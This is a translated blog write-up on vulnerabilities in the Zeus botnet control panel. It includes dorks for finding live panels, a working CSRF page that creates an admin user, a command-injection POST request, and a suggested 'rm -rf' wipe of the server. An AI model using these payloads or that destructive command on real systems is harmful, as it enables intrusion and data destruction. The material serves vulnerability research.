攻击金融恶意软件僵尸网络面板 - Zeus漏洞分析与利用

本文详细分析了Zeus 2.0.8.9僵尸网络控制面板的安全漏洞,包括明文HTTP登录、弱密码策略、CSRF攻击、MD5密码存储以及关键的命令注入漏洞,并提供了具体的利用方法和防护建议。

Jump ESP, jump!: 攻击金融恶意软件僵尸网络面板 - Zeus

最近我研究了一些泄露的金融恶意软件。当我发现这些控制面板是用PHP编写时,我的第一个想法就是攻击它们。以下是一个晚上的研究成果,请不要期望这是一份完整的渗透测试报告,包含所有发现的漏洞 :-)

本报告基于Zeus 2.0.8.9,虽然版本较旧,但我相信许多Zeus克隆版本(以及C&C面板)都依赖此代码。

首先,以下是一些用于查找Zeus C&C服务器面板相关内容的Google搜索语法:

  • inurl:cp.php?m=login - 这应该是控制面板的登录页面
  • inurl:_reports/files - 在这些文件夹中,你可以找到被盗的数据,如果被Google索引会很有趣
  • inurl:install/index.php - 这应该被删除,但我认为现在这已经没用了

发现的乏味漏洞

  • 明文HTTP登录 - 可以通过中间人攻击嗅探登录密码,或窃取会话cookie
  • 无密码策略 - 管理员可以设置非常弱的密码
  • 无防暴力破解 - 你可以尝试猜测管理员密码。默认用户名为admin
  • 启用密码自动完成 - 乏味
  • 会话cookie缺少HttpOnly标志 - 如果我能找到任何XSS漏洞就好了。我需要更多时间来找一个!
  • 无CSRF保护 - 除了密码更改时需要旧密码 :-( 乏味

更新:你可以使用CSRF创建一个具有管理员权限的新用户:

1
<html><head>    <title></title></head><body>    <pre>  这是一个在Zeus管理面板中创建新管理员用户的CSRF POC。  用户名:user_1392719246 密码:admin1  你可能需要将URL中的127.0.0.1改为目标地址。  在 <span id="countdown">10</span> 秒后重定向到隐藏的iframe。  </pre><iframe id="csrf-frame" name="csrf-frame" style="display: none;"></iframe>    <form action="http://127.0.0.1/cp.php?m=sys_users&amp;new" id="csrf-form" method="post" name="csrf-form" target="csrf-frame"> <input name="name" type="hidden" value="user_1392719246" />  <input name="password" type="hidden" value="admin1" />  <input name="status" type="hidden" value="1" />  <input name="comment" type="hidden" value="PWND!" /> <input name="r_botnet_bots" type="hidden" value="1" />  <input name="r_botnet_scripts" type="hidden" value="1" />  <input name="r_botnet_scripts_edit" type="hidden" value="1" />  <input name="r_edit_bots" type="hidden" value="1" />  <input name="r_reports_db" type="hidden" value="1" />  <input name="r_reports_db_edit" type="hidden" value="1" />  <input name="r_reports_files" type="hidden" value="1" /> <input name="r_reports_files_edit" type="hidden" value="1" /> <input name="r_reports_jn" type="hidden" value="1" />  <input name="r_stats_main" type="hidden" value="1" />  <input name="r_stats_main_reset" type="hidden" value="1" />  <input name="r_stats_os" type="hidden" value="1" />  <input name="r_system_info" type="hidden" value="1" />  <input name="r_system_options" type="hidden" value="1" /> <input name="r_system_user" type="hidden" value="1" />  <input name="r_system_users" type="hidden" value="1" />    </form><script type="text/javascript"> window.onload=function(){   var counter = 10;  var interval = setInterval(function() {   counter--;   document.getElementById('countdown').innerHTML = counter;   if (counter == 0) {    redirect();    clearInterval(interval);   }  }, 1000); };    function redirect() {  document.getElementById("csrf-form").submit();    }    </script></body></html>
  • MD5密码 - MySQL中存储的密码是MD5密码。没有PBKDF2、bcrypt、scrypt、盐值等。只有MD5。
  • 点击劫持 - 真的很乏味的东西
  • 记住我(MD5 cookies) - 一个非常糟糕的想法。在这种情况下,“记住我"功能的实现方式是将密码的MD5和用户名的MD5存储在cookie中。如果我有XSS,我也可以获取MD5(密码)。
  • SQL注入 - 虽然使用连接而不是参数化查询,并且使用了addslashes,但整数总是被引号包围。这意味着只有在特殊编码(如GB/Big5)的情况下才能被黑客攻击,这不太可能。

好消息(对C&C面板所有者而言)

以下内容看起来不错,至少一些漏洞被认真对待了:

  • 系统目录受.htaccess deny from all保护。
  • gate.php - 这是僵尸程序与服务器之间的"网关”,这个PHP总是暴露在互联网上。如果你不知道密钥,这个PHP的执行会提前终止。但你可以从这个特定僵尸网络的二进制文件中获取密钥(另一个URL说明如何做到这一点)。如果你有密钥,那么你可以用垃圾填充数据库,但这是我目前能想到的全部。
  • 防XSS:以下代码几乎到处都在使用
1
return htmlspecialchars(preg_replace('|[\x00-\x09\x0B\x0C\x0E-\x1F\x7F-\x9F]|u', ' ', $string), ENT_QUOTES, 'UTF-8');

我邪恶的想法是注入恶意的bot_id,但看起来它到处都被过滤了。悲伤的熊猫。

真正糟糕的消息(对C&C面板所有者而言)

我能够找到的最好的漏洞,通过命令注入实现远程代码执行(快乐的熊猫),但仅适用于经过身份验证的用户(悲伤的熊猫)。

易受攻击的代码在system/fsarc.php中:

1
2
3
4
5
6
function fsarcCreate($archive, $files){
   ...
   $archive .= '.zip';
   $cli = 'zip -r -9 -q -S "'.$archive.'" "'.implode('" "', $files).'"';
   exec($cli, $e, $r);
}

利用方法再简单不过了:

1
2
3
4
5
6
POST /cp.php?m=reports_files&path= HTTP/1.1
...
Content-Type: application/x-www-form-urlencoded
Content-Length: 60

filesaction=1&files%5B%5D=files"||ping%20-n%2010%20127.0.0.1

因为在我的Windows机器上找不到zip实用程序。在攻击Windows时,你可以尝试将||替换为&&(不要忘记URL编码!),或者在攻击Linux时将||替换为;。你还可以将此漏洞与CSRF漏洞链接起来,但你不太可能同时知道控制面板管理员和控制面板URL。或者如果是这种情况,管理员应该更好地实践OPSEC :)

建议:下次使用escapeshellcmd

下次你找到一个带有弱密码的易受攻击的控制面板时,只需rm -rf --no-preserve-root /它 ;-)

就这样吧! 特别感谢Richard(XAMPP Apache服务以SYSTEM身份运行 ;-) )

更新:看起来如果你知道RC4密钥,gate.php值得调查。你可以上传一个PHP shell :)

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计